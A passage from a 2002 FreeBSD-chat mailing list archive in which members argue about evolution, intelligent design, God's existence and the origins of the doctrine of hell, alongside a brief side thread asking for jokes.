it a little amusing that someone would go on a bible > thumping crusade because of a word in a subject line. I don't believe > that evolution is all that great either, but I'm not going on an > evangelical crusade because of someone using it to refer to phenomena > concerning moderating trolls on mailing lists. There you go again engaging in ad-hominem attacks. Why don't you try giving some rational arguments instead of engaging in character-assasination? > > > > A particular religion's cogence must be analyzed from an internal > > > > perspective for coherence. > > > > > > Tertullian was at least honest when he said "credo quia absurdum > > > est". > > > > In your humble opinion. > > Considering that he was a church father, in orthodox xtianity's humble > opinion about itself. Of course that opinion changed, with lots of hand > waving in order to make the change the same. While I have deep respect for the church fathers, they weren't right on everything they said. Quoting church fathers to support an argument is certainly valid *in principle*, but they were not infallible, and at times they said things that were in direct contradiction to the teachings of scripture. Such is the nature of sinful man, even the great Tertullian. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 13: 3:54 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7197D37B400 for ; Fri, 6 Sep 2002 13:03:47 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id BEAF843E65 for ; Fri, 6 Sep 2002 13:03:45 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86JhqGd006588; Fri, 6 Sep 2002 12:43:52 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86Jhqfc006581; Fri, 6 Sep 2002 12:43:52 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 12:43:51 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: tlambert2@mindspring.com, , Subject: Re: Why did evolution fail? In-Reply-To: <20020905200849.7af95707.yid@softhome.net> Message-ID: <20020906122159.B94577-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Joshua Lee wrote: > > > Tellihard De Chardin seems to do a good job at being a theist of > > > your stripe and accepting the theory of evolution at the same time; > > > somewhat earlier, Chief Rabbi Abraham Isaac Kook seemed to > > > > Why is this relevant? Whether or not such and such evolutionist > > identifies himself as a Christian, Jew, or anything else has little > > to do with whether or not evolution is true, or philosophically > > defensible. Moreover, I do not consider Teilhard De Chardin to be > > a Christian. > > The Pope did. And your point is....? > > > You have to hold to a certain number of essential > > beliefs before you have the right to call yourself a Christian. > > So much for your brand of supernaturalism being the only acceptable one > because "it allows for intellectual disagreement". Please, if you are going to attempt to use my own quotes against me, at least quote them accurately. I said that Christianity is the only religion which can *account* for *why* there are intellectual disagreements. I never said it endorsed anything like intellectual relativism. By your logic anybody could be a Christian. Or anybody could claim to be an Orthodox Jew, no matter how unorthodox his views just by claiming it. I'm just trying to maintain the proper distinctions between "Christian", "Muslim", "Jew", "Atheist", etc. > > > Moreover, a theory evolution may be, but it certainly is not a > > "scientific" theory. It is a way of looking at things. It could > > It is a way of *explaining* things. As such, it's a scientific theory; Ways of explaining things without reference to empirical verification is the realm of philosophy and religion, not science. > whether you or I like it or not. Personally I think that Behe has done > some things to blow it out of the water, but I'm not going to distribute > copies of the book of genesis in children's biology classes until there > is a better *scientific* theory available. And you suppose that I want to do that? Have you ever heard of the ID movement? Are any of them advocating passing out copies of the book of genesis? All I want is a level playing field. > > promote it as "unscientific". It has all the earmarks and > > dogmatism of a religion, so why not call a spade a spade? > > Lots of decent biology is done with it, some of which might be even used > to lengthen your ingrate life. ;-) Please name one thing that the theory of evolution has contributed to the prolonging of human life. > Believe it or not not everything that > disagrees with a religion is a religion. You are really naive. *Every* worldview has religious connotations. The theory of evolution represents one such worldview. Why do you think people cling to it so tenaciously, even though it has been, as you yourself say, by Behe and others, "blown out of the water"? What was the predominant theory before evolution? I'll give you a hint, it too had very significant religious connotations. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 13:51: 0 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 13CCB37B400 for ; Fri, 6 Sep 2002 13:50:56 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5187B43E42 for ; Fri, 6 Sep 2002 13:50:55 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86KorGd037577; Fri, 6 Sep 2002 13:50:53 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86Koq0A037574; Fri, 6 Sep 2002 13:50:52 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 13:50:52 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Lawrence Sica Cc: Dave Hayes , Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <0D38D150-C1C7-11D6-A71E-000393A335A2@earthlink.net> Message-ID: <20020906132444.B22067-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, Lawrence Sica wrote: > The proof or disproof of God is impossible because the question is > inherently one not of science but of faith. If there is a God no human > mind could fully comprehend him/her/it. If no human can comprehend God > then how can God be proven? Some look at a tree and say that is the > proof of God, some loo kat the tree and say that is just a part of the > ecosystem. God and the proof of such a being is a very personal > subject, and no one can prove it either way, one can simply decide on > their own. Larry, You are right that the proof or disproof of God is not a question that can be answered by science. As science can only tell us about things in the universe, it can't tell us about that which transcends the universe. However that does not mean the question cannot be answered. It just shows us what the limitations of science are. You are also correct that no human could ever have comprehensive knowledge of God, otherwise He would be finite and would not be God. But that doesn't mean that it is impossible for us to have *any* knowledge of God. If your last statement above were true, we would be doomed to subjectivism, everybody deciding for themselves what the "truth" is. This fact alone ought to be enough to cause one to reject the idea that there is no God, for without Him, we cannot account for everything we take for granted in every waking and sleeping moment. The intelligibility of our every experience is predicated on the fact that we can trust that the universe will continue to exhibit its uniformities that we have become accustomed to. This is the problem that vexed David Hume, for he pointed out that we have no rational basis for believing that the uniformity of nature will continue to hold, and this problem has yet to be solved by philosophers. Of course it never was a problem for either Judaism or Christianity, since the scriptures relate a God who is by nature a covenant-keeping God who has promised to uphold the creation. Now I realize that it takes faith to believe in this God, but on the other hand, rejecting this God means rejecting science, human freedom, human dignity, logic, ethics, and everything else that we take for granted. Just once I would like to run across an atheist who really understands the argument and can at least appreciate the fact that all of these philosophical questions that remain unanswered by secular philosophy are not even problems for Christianity. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 14: 5:48 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AF86237B400 for ; Fri, 6 Sep 2002 14:05:42 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 099FB43E42 for ; Fri, 6 Sep 2002 14:05:42 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86L5fGd041368; Fri, 6 Sep 2002 14:05:41 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86L5eIb041365; Fri, 6 Sep 2002 14:05:40 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 14:05:40 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: chat@FreeBSD.ORG Subject: Re: Fw: Re: Why did evolution fail? In-Reply-To: <20020905202034.77ef17b3.yid@softhome.net> Message-ID: <20020906124405.V94577-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Joshua Lee wrote: > > > Occam's razor is being used here to refute the cosmological > > > argument; you're distorting things with this strawman. > > > > Nobody has even mentioned the cosmological argument until now, so > > you are the one invoking a strawman. > > You are arguing about the creation of the universe neccesitating a > creator, right? That's the cosmological argument. At least that's what > they taught me in philosophy 101 class in college. No. The cosmological argument, in its most rigorous forms, argues that every effect must have a cause, therefore the effect we call the universe must also have a cause, and that cause is God. This is not an argument I have proffered on this list. While I do not think that the refutations of it are as convincing as many people assume, I recognize that a person's presuppositions govern his evaluation of the argument, so I generally will argue at a presuppositional level, i.e., what are the preconditions of intelligibility? What are the necessary preconditions for rationality, science, ethics, etc. to be meaningful? > > Why do you refer to God as "G-d"? > > According to Jewish law, the divine name cannot be used in print in a > profane context. (Also pronounced in any context.) This is in Hebrew. A > chumra of the Gaonim extends this to the vernacular. Of course, this > doesn't count on a CRT according to recent rulings, but someone (even > more foolish than us) might want to print this stuff out.... Fair enough. > > Philosophical arguments are unavoidable. > > The fact that philosophers have struggled with questions that still > > remain unsolved is just one more piece of evidence that without God, > > you can't prove anything. > > You can't prove anything *with* G-d either, at least not that simply. I must humbly disagree. 8-) > Isn't there a saying, for the atheist there are no answers, and for the > religionist no questions? Of course, considering how many questions Jews > tend to ask in debates ("learning b'chavrusa") during Talmud study > perhaps this is not true. :-) Well, I would certainly disagree with that sentiment. There are plenty of questions. Maybe they are not the same sorts of questions, but studying God's creation to His glory seems to me to be a good enough rationale for doing science. > > > than better. (This is not a "blind faith" position, it's important > > > to examine as far as possible everything with the intellect, which > > > is a better guide to what's good than the seat of emotions; but a > > > man has got to know his limitations. :-) ) > > > > I think you are operating on a Thomistic notion of "faith". Faith > > does not take over where reason leaves off. Faith is the foundation > > of reason. Reasoning would not even be possible without faith. I > > argue that only *Christian* faith can account for reason, but here I > > suppose we disagree. > > Until you prove that through your faith you can reason better than the > rest of us, a thesis very much in doubt, this statement is unsupportable. Well, please go back and read some of my posts to Terry and Dave. BTW, I never claimed that unbelievers don't reason. Many of them are very good at it. The point I was making was that if they were to be consistent in their atheism, they would *in principle* not be able to reason at all. For example, the naturalist cannot account for human reason, since according to a naturalist, everything that happens in the human brain is just electro-chemical responses in the brain which have nothing to do with "truth", "error", "right reason", etc. If a person is a naturalist, he has no reason to be a naturalist. He must also say that other people's beliefs in God are also only the result of electro-chemical responses in the brain. He could never know whether or not he was right, since every attempt to reason his way to the truth is just more electro-chemical responses in the brain, and hence, the results of *these* reactions are also suspect. Cheers, Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 14:15:41 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 95F8937B400 for ; Fri, 6 Sep 2002 14:15:39 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 160CA43E72 for ; Fri, 6 Sep 2002 14:15:39 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86LFcGd043550; Fri, 6 Sep 2002 14:15:38 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86LFcwL043547; Fri, 6 Sep 2002 14:15:38 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 14:15:38 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: tlambert2@mindspring.com, , Subject: Re: Why did evolution fail? In-Reply-To: <20020905202312.162a6a63.yid@softhome.net> Message-ID: <20020906140625.S22067-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Joshua Lee wrote: > On Thu, 5 Sep 2002 09:31:03 -0700 (PDT) > "Neal E. Westfall" wrote: > > > On Thu, 5 Sep 2002, Joshua Lee wrote: > > > "Truth" is not the realm of science, science is the art of > > > describing repeated empherical observations with rational > > > mathematics. :-) As such it is as theological as the computer > > > program I am using to compose this message; though indeed some, > > > mostly laymen, do try to make it into a pseudo-religion. (Compte > > > being a case in point.) > > > > This is completely irrational. Truth comes to us both from general > > revelation (the creation) and special revelation. All truth is God's > > truth. See Psalm 19. > > Yes, but science isn't Truth. If you're looking for proofs, the math department is down the hall. If what you mean is that the procedures of science are not truth, then I certainly agree. But if you are claiming that science does not discover truth, I would vehemently disagree. It is true, for example, that penicillin cures many diseases that were once considered fatal. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:27:12 2002 Delivered-To: freebsd-chat@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 931) id 8726137B400; Fri, 6 Sep 2002 15:27:07 -0700 (PDT) Date: Fri, 6 Sep 2002 15:27:07 -0700 From: Juli Mallett To: Lawrence Sica Cc: "Neal E. Westfall" , Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, crap@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906152707.A30018@FreeBSD.org> References: <20020905190756.A54861@FreeBSD.org> <642600A8-C1B2-11D6-A71E-000393A335A2@earthlink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <642600A8-C1B2-11D6-A71E-000393A335A2@earthlink.net>; from lomifeh@earthlink.net on Fri, Sep 06, 2002 at 12:04:58PM -0400 Organisation: The FreeBSD Project X-Alternate-Addresses: , , , , X-Towel: Yes X-LiveJournal: flata, jmallett X-Negacore: Yes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * De: Lawrence Sica [ Data: 2002-09-06 ] [ Subjecte: Re: Why did evolution fail? ] > > On Thursday, September 5, 2002, at 10:07 PM, Juli Mallett wrote: > > > iirc, as the god of life was known then), Judaism was born after ages > > passed, and from there, we end up with Christianity these days. It > > would > > be more correct to say that Hebrew tribal elders made up hell; you are > > forgetting that the roots of Christianity are in Judaism. > > > Judeo-christian faiths don't have the market on hell or hell-like > places. Hinduism and Buddhism both have a hell like place. I cannot > recall the names for it. Of course, but I'm talking in a single known lineage, and the one being misappropriately represented. > > And of course they made it up, it fulfills a number of low-level > > desires > > of the human psyche. > > > > Not that I'm not a religious person myself, it's just important to > > remember > > that all of this came from tribal traditions and warring, and that all > > of > > Wicca came from a lecherous old man who decided to take from Celtic and > > old European religions throughout the ages, and that Jesus was a man, > > and > > a great man, and a man who said great things. > > > > That doesn't mean any of it isn't true. Just because one "makes > > something up" > > doesn't mean it's false. It could be inherent in-born knowledge. > > > Many of the worlds religions share the same basic tenets. Things like > views on stealing, killing, the idea of an afterlife. Ever read > anything by Carl Jung? He talks of a collective unconcious and race > memory. Really interesting stuff. Hmm, nope, not recently. Ever read "The Power of Myth"? > > I prefer to believe that all beliefs are valid, most are probably > > somewhat > > right, and none are "wrong". > > > I disagree. There is right and wrong in the world. Killing another > human being is wrong for example. An interesting side note, early > catholicism was against war, period. Later it was rationalized and > made ok. So even a religion's belifs change and would be wrong > depending on the period. Many times right and wrong are not determined > by truth but by those in power. But that doesn't mean there are some > universal truths about what should be right and should be wrong. I'm talking about rightness/wrongness in spiritual Truth(tm). > > It's all about people and perception. Unfortunately, this universe > > seems > > built with the intentions to get people to look beyond perception - > > things > > have inherent beauty and structure at levels below what the eye can > > see, > > people are not always what they appear to be, and enjoying it is what > > really > > matters, to me. > > The problem is many people refuse to look between the lines if you > will. Many blindly accept what they are told to believe as though it > were canon. If you look hard enough and in the right way even chaos > has a pattern. Does this mean that there is a God? I cannot say for > anyone but myself :). But there seems to be a pattern to all things. > And beauty is always in the eye of the beholder. chaos has very clear patterns. -- Juli Mallett | FreeBSD: The Power To Serve Will break world for fulltime employment. | finger jmallett@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:28: 8 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 12A9037B406 for ; Fri, 6 Sep 2002 15:28:05 -0700 (PDT) Received: from mail19b.rapidsite.net (mail19b.rapidsite.net [161.58.134.134]) by mx1.FreeBSD.org (Postfix) with SMTP id 42DF043E3B for ; Fri, 6 Sep 2002 15:28:03 -0700 (PDT) (envelope-from rob@pythonemproject.com) Received: from www.pythonemproject.com (198.104.176.109) by mail19b.rapidsite.net (RS ver 1.0.63s) with SMTP id 017000 for ; Fri, 6 Sep 2002 18:27:59 -0400 (EDT) Message-ID: <3D792BB0.8962C61@pythonemproject.com> Date: Fri, 06 Sep 2002 15:26:56 -0700 From: Rob X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en MIME-Version: 1.0 To: "chat@freebsd.org" Subject: Re: So, who knows the jokes? References: <200209060116.g861GI198090@hokkshideh2.jetcafe.org> <3D781D31.9EA99D@mindspring.com> <20020906130956.GF2168@hades.hell.gr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Loop-Detect: 1 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Giorgos Keramidas wrote: > > On 2002-09-05 20:12 +0000, Terry Lambert wrote: > > You are, of course, aware of the joke about the engineer, the > > physicits, the mathematician, and the fire... > > No, I am not. Green's corollary on the Law of Murphy states that > there will always be at least one person who isn't (aware, that is). > This is the second time during a single day that you have mentioned a > joke without writing it too. The first one being about changing a > bulb, IIRC. > > So, will you PLEASE (thank you!) stop referring to jokes without > saying the jokes themselves? > > This is -chat, right? Among the flood of emails about religions, the > evolution of intelligence, Darwin's great misconception of the Great > Truth(TM), and a few other topics I've seen rush by these last few > days, do please tell the occasional jokes :-P > > - Giorgos > "Sometime in September a misconfigured router mingled the contents of the Dr. Gene Scott and the FreeBSD Chat mailing lists" -- ----------------------------- The Numeric Python EM Project www.pythonemproject.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:28:30 2002 Delivered-To: freebsd-chat@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 931) id CF03437B400; Fri, 6 Sep 2002 15:28:28 -0700 (PDT) Date: Fri, 6 Sep 2002 15:28:28 -0700 From: Juli Mallett To: John Baldwin Cc: crap@FreeBSD.ORG, tlambert2@mindspring.com, dave@jetcafe.org, Joshua Lee , "Neal E. Westfall" Subject: Re: Why did evolution fail? Message-ID: <20020906152828.B30018@FreeBSD.org> References: <20020905190756.A54861@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jhb@FreeBSD.org on Fri, Sep 06, 2002 at 11:02:54AM -0400 Organisation: The FreeBSD Project X-Alternate-Addresses: , , , , X-Towel: Yes X-LiveJournal: flata, jmallett X-Negacore: Yes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * De: John Baldwin [ Data: 2002-09-06 ] [ Subjecte: Re: Why did evolution fail? ] > > On 06-Sep-2002 Juli Mallett wrote: > > * De: "Neal E. Westfall" [ Data: 2002-09-05 ] > > [ Subjecte: Re: Why did evolution fail? ] > >> So why are you attacking what my religion teaches? Aren't you just > >> being a little bit hypocritical? Do you think that Christians just > >> made up the doctrine of hell? Where do you think it came from? Did > > > > In ancient Hebrew tribal religion, there were two sects, one who worshipped > > the god of death, one who worshipped the god of life. > > Do you have any references to support this claim? Not currently, but they're out there. Search around for papers on early practices of penile worship, and circumcision, and you will find references to the same groups, and it's easy to go from there. Last time I read any substantial writing on this topic was many months ago, when a friend was doing a paper on said religions. -- Juli Mallett | FreeBSD: The Power To Serve Will break world for fulltime employment. | finger jmallett@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:32:54 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A7BA937B43B for ; Fri, 6 Sep 2002 15:32:45 -0700 (PDT) Received: from mail.uninterruptible.net (ns1.uninterruptible.net [216.7.46.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1D76543E4A for ; Fri, 6 Sep 2002 15:32:45 -0700 (PDT) (envelope-from kris@catonic.net) Received: from Spaz.Catonic.NET (tnt6-216-180-5-74.dialup.HiWAAY.net [216.180.5.74]) by mail.uninterruptible.net (Postfix) with ESMTP id C77965002E; Fri, 6 Sep 2002 22:32:33 +0000 (GMT) Received: by Spaz.Catonic.NET (Postfix, from userid 1002) id 1CAEB3251; Fri, 6 Sep 2002 22:32:30 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by Spaz.Catonic.NET (Postfix) with ESMTP id 171464C57; Fri, 6 Sep 2002 22:32:30 +0000 (GMT) Date: Fri, 6 Sep 2002 22:32:30 +0000 (GMT) From: Kris Kirby To: Rob Cc: "chat@freebsd.org" Subject: Re: So, who knows the jokes? In-Reply-To: <3D792BB0.8962C61@pythonemproject.com> Message-ID: X-Mailer: !/bin/sh MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, Rob wrote: > "Sometime in September a misconfigured router mingled the contents of > the Dr. Gene Scott and the FreeBSD Chat mailing lists" Do you ever want to just grab your head with both hands and scream: "get out Get Out GET OUT!!!"? -- Kris Kirby, KE4AHR TGIFreeBSD IM: 'KrisBSD' "BIG BROTHER IS WATCHING YOU!" This message brought to you by the US Department of Homeland Security To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:35:29 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D00B937B400 for ; Fri, 6 Sep 2002 15:35:26 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 4DCE243E3B for ; Fri, 6 Sep 2002 15:35:26 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 30287 invoked by uid 417); 6 Sep 2002 22:35:20 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 6 Sep 2002 22:35:20 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Fri, 06 Sep 2002 16:35:18 -0600 Date: Fri, 6 Sep 2002 18:34:27 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: tlambert2@mindspring.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020906183427.5aa10ec8.yid@softhome.net> In-Reply-To: <20020906122159.B94577-100000@Tolstoy.home.lan> References: <20020905200849.7af95707.yid@softhome.net> <20020906122159.B94577-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002 12:43:51 -0700 (PDT) "Neal E. Westfall" wrote: > You are really naive. *Every* worldview has religious connotations. > The theory of evolution represents one such worldview. Why do you > think people cling to it so tenaciously, even though it has been, as > you yourself say, by Behe and others, "blown out of the water"? What > was the predominant theory before evolution? I'll give you a hint, it > too had very significant religious connotations. Lamarkianism, which is really not all that different than evolution other than it's mechanism not being the same. One would have to go back to before the Rennaisance, during periods where practically no scientific activity was being pursued in Northern Europe, to get to the point where you want to take science. Let science progress according to it's own process, a process that Behe respects, rather than trying to hurry it along with doctrines that cannot be used scientifically. Biology is a young science. Often when I read Maimonidies and how he reacted to the Aristotelian physics of his day (an intellegent comprimise rather than disagreeing with it's premises altogeather) I am astounded by how odd scientists of that early period in physics's history seemed in their theories. Physics eventually straightened itself out. (The eternity of matter, the last piece of Aristotle to be rejected, was an accepted theory a couple of decades into the 20th century!) Let biology straighten itself out too - using the scientific method. Second-guessing the scientific method is a recipie for scientific disaster, even in the hands of the best theologians. (If you really have objections to how it's being teached in public schools send your children to private ones - that's what we do, we don't expect Judaism to be taught in public schools - stop insisting your religious minority, and it is a minority, be given a place of privledge in the marketplace of ideas; against the constitution that made your brand of protestantism possible.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:41:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 931) id 7100137B400; Fri, 6 Sep 2002 15:41:17 -0700 (PDT) Date: Fri, 6 Sep 2002 15:41:17 -0700 From: Juli Mallett To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906154116.C30018@FreeBSD.org> References: <20020905190756.A54861@FreeBSD.org> <20020906082300.M94577-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020906082300.M94577-100000@Tolstoy.home.lan>; from nwestfal@directvinternet.com on Fri, Sep 06, 2002 at 09:18:43AM -0700 Organisation: The FreeBSD Project X-Alternate-Addresses: , , , , X-Towel: Yes X-LiveJournal: flata, jmallett X-Negacore: Yes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * De: "Neal E. Westfall" [ Data: 2002-09-06 ] [ Subjecte: Re: Why did evolution fail? ] > > > On Thu, 5 Sep 2002, Juli Mallett wrote: > > > * De: "Neal E. Westfall" [ Data: 2002-09-05 ] > > [ Subjecte: Re: Why did evolution fail? ] > > > So why are you attacking what my religion teaches? Aren't you just > > > being a little bit hypocritical? Do you think that Christians just > > > made up the doctrine of hell? Where do you think it came from? Did > > > > In ancient Hebrew tribal religion, there were two sects, one who worshipped > > the god of death, one who worshipped the god of life. The god of death was > > stronger than the god of life, and those who worshipped the god of life > > were jealous, and the jealousy became a part of the persona of the god of > > life, to excuse the hatered of others who worshipped stronger gods, and > > over time, the jealousy caused them to annex the attributes of the god of > > death, into the god of life. From there, Jahweh/... as known today (and > > iirc, as the god of life was known then), Judaism was born after ages > > passed, and from there, we end up with Christianity these days. It would > > be more correct to say that Hebrew tribal elders made up hell; you are > > forgetting that the roots of Christianity are in Judaism. > > > > And of course they made it up, it fulfills a number of low-level desires > > of the human psyche. > > Interesting theory, as psychological arguments go. Not that I totally > reject psychological arguments, Paul uses a kind of psychological argument > in Romans 1 